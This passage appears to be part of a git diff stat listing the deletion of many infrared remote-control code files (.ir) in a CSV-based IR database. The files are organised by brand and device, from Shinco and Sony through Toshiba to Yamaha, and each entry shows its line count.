.../Shinco/Unknown_RC-1730/0,153.ir | 248 - .../_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir | 308 - .../Siemens/Unknown_fb405/134,84.ir | 140 - .../Siemens/Unknown_siemens-fb400/131,89.ir | 248 - .../Siemens/Unknown_siemens1/49,-1.ir | 230 - .../Sigma Designs/DVD Player/128,-1.ir | 224 - .../Sigma Designs/Unknown_SIR/128,-1.ir | 224 - .../_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir | 248 - .../Sigmatek/Unknown_XMB-510-PRO/8,-1.ir | 278 - .../Silvercrest/Unknown_RCH7S52/32,-1.ir | 236 - .../Silvercrest/Unknown_URC-801/4,15.ir | 278 - .../Sirius/Unknown_SBKB-3201KR/128,-1.ir | 140 - .../_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir | 170 - .../Sirius/Unknown_Sportster/1,-1.ir | 152 - .../Sitronics/Unknown_RC-D010E/0,251.ir | 296 - .../_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir | 230 - .../_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir | 62 - .../_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir | 386 - .../Skymaster/Unknown_2424/37,250.ir | 170 - .../_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir | 212 - .../Skymaster/Unknown_SkymasterXLS99/19,1.ir | 86 - .../_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir | 152 - .../Skymaster/Unknown_skymaster/19,1.ir | 188 - .../Slim Art/Unknown_SA-100/0,-1.ir | 296 - .../Slim Devices/Unknown_Devices/110,-1.ir | 188 - .../SnapStream/Unknown_Firefly-Mini/0,-1.ir | 212 - .../_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir | 278 - .../_CSV-IRDB_/Snell/Speaker/80,0.ir | 68 - .../Sonance/Distributed Audio/0,90.ir | 158 - .../Sonance/System Controller/132,132.ir | 74 - .../Sonicview/Unknown_SV-360/15,-1.ir | 290 - .../_CSV-IRDB_/Sony/Boombox/100,-1.ir | 128 - .../_CSV-IRDB_/Sony/Boombox/68,-1.ir | 56 - .../_CSV-IRDB_/Sony/CD Changer/17,-1.ir | 32 - .../_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir | 8 - .../_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir | 818 - .../_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir | 8 - .../_CSV-IRDB_/Sony/CD Jukebox/26,153.ir | 8 - .../_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir | 8 - .../_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir | 230 - .../_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir | 248 - .../_CSV-IRDB_/Sony/CD Player/1,-1.ir | 8 - .../_CSV-IRDB_/Sony/CD Player/17,-1.ir | 986 - .../_CSV-IRDB_/Sony/CD Player/57,-1.ir | 410 - .../_CSV-IRDB_/Sony/CD Player/81,-1.ir | 416 - .../_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir | 74 - .../_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir | 50 - .../_CSV-IRDB_/Sony/DAT/28,-1.ir | 182 - .../_CSV-IRDB_/Sony/DSP/26,233.ir | 170 - .../_CSV-IRDB_/Sony/DSS/1,-1.ir | 50 - .../_CSV-IRDB_/Sony/DSS/11,-1.ir | 8 - .../_CSV-IRDB_/Sony/DSS/183,-1.ir | 650 - .../_CSV-IRDB_/Sony/DSS/23,133.ir | 206 - .../_CSV-IRDB_/Sony/DSS/3,-1.ir | 14 - .../_CSV-IRDB_/Sony/DSS/5,1.ir | 8 - .../_CSV-IRDB_/Sony/DSS/64,-1.ir | 26 - .../_CSV-IRDB_/Sony/DV Cam/185,-1.ir | 26 - .../_CSV-IRDB_/Sony/DV Cam/217,-1.ir | 14 - .../_CSV-IRDB_/Sony/DV Cam/7,-1.ir | 86 - .../_CSV-IRDB_/Sony/DVD Player/1,-1.ir | 26 - .../_CSV-IRDB_/Sony/DVD Player/164,-1.ir | 8 - .../_CSV-IRDB_/Sony/DVD Player/26,218.ir | 98 - .../_CSV-IRDB_/Sony/DVD Player/26,73.ir | 1232 -- .../_CSV-IRDB_/Sony/DVD Player/26,83.ir | 278 - .../_CSV-IRDB_/Sony/DVD Player/26,98.ir | 230 - .../_CSV-IRDB_/Sony/DVD Player/4,-1.ir | 8 - .../_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir | 20 - .../Sony/Digital Recorder/26,154.ir | 200 - .../_CSV-IRDB_/Sony/Digital Recorder/26,73.ir | 128 - .../_CSV-IRDB_/Sony/Digital Recorder/26,98.ir | 44 - .../_CSV-IRDB_/Sony/Laser Disc/6,-1.ir | 314 - .../_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir | 464 - .../_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir | 26 - .../_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir | 68 - .../_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir | 128 - .../_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir | 230 - .../_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir | 68 - .../_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir | 140 - .../_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir | 230 - .../_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir | 104 - .../_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir | 272 - .../_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir | 8 - .../_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir | 8 - .../_CSV-IRDB_/Sony/Receiver/1,-1.ir | 104 - .../_CSV-IRDB_/Sony/Receiver/11,-1.ir | 56 - .../_CSV-IRDB_/Sony/Receiver/12,-1.ir | 158 - .../_CSV-IRDB_/Sony/Receiver/121,-1.ir | 134 - .../_CSV-IRDB_/Sony/Receiver/13,-1.ir | 362 - .../_CSV-IRDB_/Sony/Receiver/144,-1.ir | 188 - .../_CSV-IRDB_/Sony/Receiver/15,-1.ir | 80 - .../_CSV-IRDB_/Sony/Receiver/16,-1.ir | 542 - .../_CSV-IRDB_/Sony/Receiver/17,-1.ir | 32 - .../_CSV-IRDB_/Sony/Receiver/176,-1.ir | 68 - .../_CSV-IRDB_/Sony/Receiver/18,-1.ir | 218 - .../_CSV-IRDB_/Sony/Receiver/2,-1.ir | 20 - .../_CSV-IRDB_/Sony/Receiver/20,-1.ir | 128 - .../_CSV-IRDB_/Sony/Receiver/23,-1.ir | 362 - .../_CSV-IRDB_/Sony/Receiver/26,66.ir | 92 - .../_CSV-IRDB_/Sony/Receiver/26,73.ir | 50 - .../_CSV-IRDB_/Sony/Receiver/36,-1.ir | 1244 -- .../_CSV-IRDB_/Sony/Receiver/4,-1.ir | 26 - .../_CSV-IRDB_/Sony/Receiver/48,-1.ir | 272 - .../_CSV-IRDB_/Sony/Receiver/6,-1.ir | 14 - .../_CSV-IRDB_/Sony/Receiver/7,-1.ir | 14 - .../_CSV-IRDB_/Sony/Receiver/8,-1.ir | 8 - .../Sony/Surround Processor/26,233.ir | 122 - .../_CSV-IRDB_/Sony/TV/1,-1.ir | 626 - .../_CSV-IRDB_/Sony/TV/119,-1.ir | 44 - .../_CSV-IRDB_/Sony/TV/151,-1.ir | 116 - .../_CSV-IRDB_/Sony/TV/164,-1.ir | 362 - .../_CSV-IRDB_/Sony/TV/183,-1.ir | 8 - .../_CSV-IRDB_/Sony/TV/26,-1.ir | 110 - .../_CSV-IRDB_/Sony/TV/26,42.ir | 44 - .../_CSV-IRDB_/Sony/TV/3,-1.ir | 80 - .../_CSV-IRDB_/Sony/TV/84,-1.ir | 80 - .../_CSV-IRDB_/Sony/TiVo/183,-1.ir | 224 - .../_CSV-IRDB_/Sony/TiVo/23,133.ir | 206 - .../_CSV-IRDB_/Sony/TiVo/26,154.ir | 410 - .../_CSV-IRDB_/Sony/Unknown_870/1,-1.ir | 176 - .../_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir | 278 - .../_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir | 272 - .../_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir | 254 - .../_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir | 254 - .../_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir | 152 - .../_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir | 212 - .../_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir | 242 - .../_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir | 152 - .../_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir | 74 - .../_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir | 176 - .../_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir | 140 - .../_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir | 230 - .../_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir | 158 - .../_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir | 212 - .../_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir | 158 - .../_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir | 164 - .../_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir | 176 - .../_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir | 236 - .../_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir | 290 - .../_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir | 272 - .../_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir | 536 - .../_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir | 74 - .../_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir | 332 - .../_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir | 320 - .../_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir | 122 - .../_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir | 200 - .../_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir | 20 - .../_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir | 140 - .../_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir | 116 - .../_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir | 128 - .../_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir | 86 - .../_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir | 74 - .../_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir | 74 - .../_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir | 74 - .../_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir | 170 - .../_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir | 176 - .../_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir | 266 - .../_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir | 116 - .../_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir | 62 - .../_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir | 44 - .../Sony/Unknown_RMT-B101A/26,226.ir | 254 - .../_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir | 140 - .../Sony/Unknown_RMT-D115P/26,73.ir | 206 - .../Sony/Unknown_RMT-D126A/26,73.ir | 194 - .../Sony/Unknown_RMT-D126E/26,73.ir | 188 - .../Sony/Unknown_RMT-D129A/26,73.ir | 254 - .../Sony/Unknown_RMT-DSC2/26,241.ir | 68 - .../_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir | 200 - .../_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir | 212 - .../Sony/Unknown_RMT-V501A/26,83.ir | 284 - .../_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir | 170 - .../_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir | 20 - .../_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir | 200 - .../Sony/Unknown_VaioRemote/4,15.ir | 248 - .../Sony/Unknown_lircd.conf/17,-1.ir | 104 - .../_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir | 500 - .../_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir | 218 - .../_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir | 86 - .../_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir | 110 - .../_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir | 110 - .../_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir | 194 - .../Sony/Unknown_sonyRM-sep303/4,-1.ir | 134 - .../_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir | 182 - .../_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir | 374 - .../_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir | 476 - .../_CSV-IRDB_/Sony/VCR/0,-1.ir | 8 - .../_CSV-IRDB_/Sony/VCR/1,-1.ir | 14 - .../_CSV-IRDB_/Sony/VCR/11,-1.ir | 1094 -- .../_CSV-IRDB_/Sony/VCR/180,-1.ir | 110 - .../_CSV-IRDB_/Sony/VCR/185,-1.ir | 74 - .../_CSV-IRDB_/Sony/VCR/186,-1.ir | 326 - .../_CSV-IRDB_/Sony/VCR/2,-1.ir | 608 - .../_CSV-IRDB_/Sony/VCR/25,37.ir | 230 - .../_CSV-IRDB_/Sony/VCR/25,69.ir | 14 - .../_CSV-IRDB_/Sony/VCR/5,-1.ir | 8 - .../_CSV-IRDB_/Sony/VCR/7,-1.ir | 530 - .../_CSV-IRDB_/Sony/VCR/9,-1.ir | 56 - .../_CSV-IRDB_/Sony/Video Projector/26,42.ir | 368 - .../_CSV-IRDB_/Sony/Video Projector/84,-1.ir | 716 - .../Speed-link/Unknown_SL-6399/0,-1.ir | 296 - .../_CSV-IRDB_/Starsat/Unknown_120/64,64.ir | 248 - .../Starview/Unknown_Starview/0,249.ir | 200 - .../_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir | 212 - .../Sumvision/Unknown_Sumvision/0,-1.ir | 272 - .../Sunfire/Surround Processor/184,0.ir | 140 - .../Sunfire/Surround Processor/184,1.ir | 26 - .../Sunfire/Surround Processor/184,3.ir | 14 - .../Sungale/Unknown_JX-2002/0,-1.ir | 206 - .../Supermax/Unknown_Supermax/128,38.ir | 176 - .../Unknown_SP-URC-LCD-F15/10,-1.ir | 212 - .../_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir | 302 - .../_CSV-IRDB_/Symphonic/TV/41,-1.ir | 134 - .../_CSV-IRDB_/Symphonic/VCR/40,-1.ir | 170 - .../_CSV-IRDB_/Symphonic/VCR/44,-1.ir | 8 - .../_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir | 218 - .../_CSV-IRDB_/TCM/Unknown_218681/5,5.ir | 200 - .../_CSV-IRDB_/TCM/Unknown_225925/24,233.ir | 170 - .../_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir | 170 - .../_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir | 218 - .../_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir | 194 - .../_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir | 254 - .../_CSV-IRDB_/TEAC/DVD Player/163,-1.ir | 218 - .../_CSV-IRDB_/TEAC/DVD Player/175,-1.ir | 176 - .../_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir | 182 - .../_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir | 20 - .../_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir | 140 - .../_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir | 86 - .../_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir | 230 - .../_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir | 182 - .../TECHNICS/Unknown_EUR643880/160,10.ir | 182 - .../TECHNICS/Unknown_EUR64798/160,10.ir | 200 - .../TECHNICS/Unknown_EUR64799/160,10.ir | 200 - .../TECHNICS/Unknown_EURXP300/160,10.ir | 146 - .../_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir | 206 - .../TECHNICS/Unknown_sl-ps670a/160,10.ir | 206 - .../TECHNISAT/Unknown_100TS035/10,-1.ir | 206 - .../TECHNISAT/Unknown_FBPNA35/10,-1.ir | 206 - .../TECHNISAT/Unknown_FBPVR335A/10,-1.ir | 254 - .../TECHNISAT/Unknown_ST3002S/1,-1.ir | 176 - .../TECHNISAT/Unknown_ST3004S/1,-1.ir | 158 - .../TECHNISAT/Unknown_TECHNISAT/1,-1.ir | 32 - .../TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir | 200 - .../TECHNISAT/Unknown_TTS35AI/10,-1.ir | 200 - .../TECHNISAT/Unknown_st-6000e/131,121.ir | 218 - .../_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir | 194 - .../_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir | 122 - .../_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir | 134 - .../_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir | 362 - .../TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir | 194 - .../_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir | 128 - .../Tab Electronics/Unknown_Kit/0,-1.ir | 86 - .../6,248.ir | 146 - .../Technosonic/Unknown_DVD-204/16,237.ir | 254 - .../Technotrend/Unknown_DVB/21,-1.ir | 224 - .../Technotrend/Unknown_Micro/21,-1.ir | 200 - .../Technotrend/Unknown_S2400/21,-1.ir | 224 - .../Technotrend/Unknown_Technotrend/21,-1.ir | 224 - .../Technotrend/Unknown_remote/21,-1.ir | 194 - .../_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir | 134 - .../Telemann/PC HDTV Tuner Card/8,-1.ir | 44 - .../_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir | 242 - .../_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir | 236 - .../Tensai/Unknown_5340fb/134,124.ir | 140 - .../Terratec/Internet Radio/4,243.ir | 194 - .../_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir | 218 - .../Terratec/Unknown_Cinergy/134,107.ir | 212 - .../Terratec/Unknown_Cinergy/20,-1.ir | 290 - .../Terratec/Unknown_Cinergy/4,235.ir | 230 - .../_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir | 110 - .../_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir | 74 - .../Tesla/Unknown_32LCD70WDGHD/1,-1.ir | 248 - .../_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir | 200 - .../_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir | 182 - .../_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir | 218 - .../_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir | 242 - .../_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir | 206 - .../_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir | 206 - .../_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir | 200 - .../_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir | 236 - .../_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir | 230 - .../Tevion/Unknown_MDC-982PLL/162,162.ir | 92 - .../Tevion/Unknown_RS20536/67,71.ir | 206 - .../_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir | 218 - .../Tevion/Unknown_TDR-250HD/0,159.ir | 344 - .../Tevion/Unknown_TDR51DV/0,159.ir | 332 - .../Tevion/Unknown_TE-0603/64,63.ir | 260 - .../_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir | 290 - .../Tevion/Unknown_Tevion-MD80383/5,5.ir | 254 - .../23,105.ir | 260 - .../Tevion/Unknown_TevionMd3607/7,-1.ir | 176 - .../Theta Digital/DVD Player/163,-1.ir | 188 - .../Theta Digital/DVD Player/175,-1.ir | 146 - .../Theta Digital/Surround Processor/16,-1.ir | 242 - .../Thinkgeek/Unknown_Lightbulb/64,-1.ir | 170 - .../Thompson/Unknown_THOMPSON/133,48.ir | 224 - .../_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir | 242 - .../Thomson/Unknown_RCS615TCLM1/5,-1.ir | 176 - .../Thomson/Unknown_TM9258/128,255.ir | 80 - .../_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir | 158 - .../_CSV-IRDB_/TiVo/PVR/26,154.ir | 140 - .../_CSV-IRDB_/TiVo/TiVo/133,48.ir | 212 - .../_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir | 224 - .../_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir | 134 - .../_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir | 260 - .../_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir | 278 - .../Topfield/Unknown_TF4000Fi/4,255.ir | 236 - .../Topfield/Unknown_TF4000PVR/32,-1.ir | 224 - .../Topseed/Unknown_Topseed/4,15.ir | 314 - .../_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir | 512 - .../_CSV-IRDB_/Toshiba/TV/64,-1.ir | 284 - .../Toshiba/Unknown_CT-816/64,-1.ir | 176 - .../Toshiba/Unknown_CT-826/64,-1.ir | 200 - .../Toshiba/Unknown_CT-832/64,-1.ir | 176 - .../Toshiba/Unknown_CT-859/64,-1.ir | 164 - .../Toshiba/Unknown_CT-90038/231,10.ir | 92 - .../Toshiba/Unknown_CT-90205/231,10.ir | 74 - .../Toshiba/Unknown_CT-90298/64,-1.ir | 224 - .../Toshiba/Unknown_CT-90326/64,-1.ir | 254 - .../Toshiba/Unknown_CT-9573/64,-1.ir | 152 - .../Toshiba/Unknown_CT-9784/64,-1.ir | 182 - .../Toshiba/Unknown_CT-9881/134,107.ir | 218 - .../Toshiba/Unknown_CT-9952/64,-1.ir | 188 - .../Toshiba/Unknown_G83C0008A110/4,15.ir | 266 - .../_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir | 206 - .../Toshiba/Unknown_SE-R0031/69,-1.ir | 266 - .../Toshiba/Unknown_SE-R0049/69,-1.ir | 272 - .../Toshiba/Unknown_SE-R0058/69,-1.ir | 296 - .../Toshiba/Unknown_SE-R0127/69,-1.ir | 86 - .../Toshiba/Unknown_TOSHIBA/64,-1.ir | 212 - .../Toshiba/Unknown_TOSHIBA/68,-1.ir | 236 - .../Toshiba/Unknown_TOSHTV/64,-1.ir | 116 - .../Toshiba/Unknown_TSR-101R/66,187.ir | 176 - .../Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir | 272 - .../Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir | 266 - .../Toshiba/Unknown_VC-642T/68,-1.ir | 242 - .../Toshiba/Unknown_VC-90B/68,-1.ir | 146 - .../_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir | 164 - .../Toshiba/Unknown_VT-204G/68,-1.ir | 230 - .../Toshiba/Unknown_VT-209W/68,-1.ir | 200 - .../Toshiba/Unknown_VT-75F/68,-1.ir | 206 - .../Toshiba/Unknown_toshiba-RM-A210/42,-1.ir | 134 - .../_CSV-IRDB_/Toshiba/VCR/68,-1.ir | 194 - .../Total Control/Unknown_Control/7,-1.ir | 242 - .../Unknown_Media/2,189.ir | 212 - .../_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir | 86 - .../_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir | 260 - .../_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir | 134 - .../Turtle Beach/MP3 Player/1,-1.ir | 14 - .../Turtle Beach/MP3 Player/1,249.ir | 260 - .../Turtlebeach/Unknown_Audiotron/1,249.ir | 242 - .../Twinhan/Unknown_AD-SP200/0,-1.ir | 320 - .../_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir | 194 - .../_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir | 194 - .../Typhoon/Unknown_RC-0718-3/96,1.ir | 146 - .../_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir | 194 - .../_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir | 104 - .../US Electronics/Cable Box/0,-1.ir | 224 - .../Ultrawave/Unknown_3500PFTA/2,2.ir | 218 - .../_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir | 158 - .../_CSV-IRDB_/Uniden/Satellite/1,-1.ir | 242 - .../United/Unknown_United-DVD4057M/0,-1.ir | 284 - .../_CSV-IRDB_/Universal/Unknown_001/4,15.ir | 254 - .../_CSV-IRDB_/Universal/Unknown_006/56,-1.ir | 170 - .../_CSV-IRDB_/Universal/Unknown_089/6,-1.ir | 152 - .../_CSV-IRDB_/Universal/Unknown_101/6,-1.ir | 314 - .../Universal/Unknown_111/135,124.ir | 290 - .../Universal/Unknown_Knopex/7,-1.ir | 182 - .../Universal/Unknown_MC-10/5,-1.ir | 194 - .../Universal/Unknown_Powerhouse/166,-1.ir | 140 - .../_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir | 176 - .../Universal/Unknown_RM-V211T/2,-1.ir | 182 - .../Universal/Unknown_RZ-55/1,-1.ir | 290 - .../Universal/Unknown_URC-6012w/2,-1.ir | 194 - .../_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir | 290 - .../Universal/Unknown_lircd.conf/0,-1.ir | 188 - .../Universal/Unknown_lircd.conf/128,123.ir | 230 - .../Unknown_lt3607-aux599/135,124.ir | 146 - .../Unknown_testrecord.config/0,-1.ir | 290 - .../_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir | 20 - .../_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir | 32 - .../Venturer/Unknown_STB7766G1/66,187.ir | 164 - .../Venturer/Unknown_boombox/129,129.ir | 44 - .../_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir | 236 - .../Video7/Unknown_Video7-RC750/32,-1.ir | 152 - .../Vidikron/Video Projector/0,-1.ir | 164 - .../Unknown_98TR7BD-ONT-VSF/131,241.ir | 296 - .../ViewSonic/Unknown_RC00070P/131,241.ir | 266 - .../ViewSonic/Unknown_vsnv6/0,-1.ir | 176 - .../Viewmaster/Unknown_RC-03/73,-1.ir | 278 - .../_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir | 236 - .../Viewsat/Unknown_VS2000/32,255.ir | 236 - .../Virgin-media/Unknown_VIRGINTIVO/10,-1.ir | 260 - .../Visionetics/Unknown_Cable/134,107.ir | 110 - .../Vistron/Unknown_DVD-5211/0,-1.ir | 254 - .../Vistron/Unknown_LTM-3271E/8,-1.ir | 302 - .../_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir | 200 - .../_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir | 164 - .../_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir | 224 - .../_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir | 290 - .../_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir | 176 - .../_CSV-IRDB_/VocoPro/Karaoke/32,1.ir | 50 - .../Voxson/Unknown_PT2222-1/0,-1.ir | 290 - .../WD/Unknown_HDTVMediaPlayerV1/132,121.ir | 104 - .../_CSV-IRDB_/WD/Unknown_TV/132,121.ir | 104 - .../Westinghouse/Unknown_LVM-47W1/1,-1.ir | 182 - .../Westinghouse/Unknown_RMT/1,-1.ir | 272 - .../_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir | 50 - .../_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir | 290 - .../_CSV-IRDB_/XORO/Sat/0,191.ir | 260 - .../_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir | 188 - .../_CSV-IRDB_/Xantech/Programmer/6,-1.ir | 98 - .../_CSV-IRDB_/Xantech/Relay Module/6,-1.ir | 194 - .../Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir | 284 - .../Xtreamer/Unknown_Xtreamer/0,-1.ir | 206 - .../_CSV-IRDB_/YES/Unknown_YES/132,60.ir | 218 - .../_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir | 272 - .../Yamada/Unknown_DVX-6xxx/4,-1.ir | 272 - .../_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir | 194 - .../_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir | 236 - 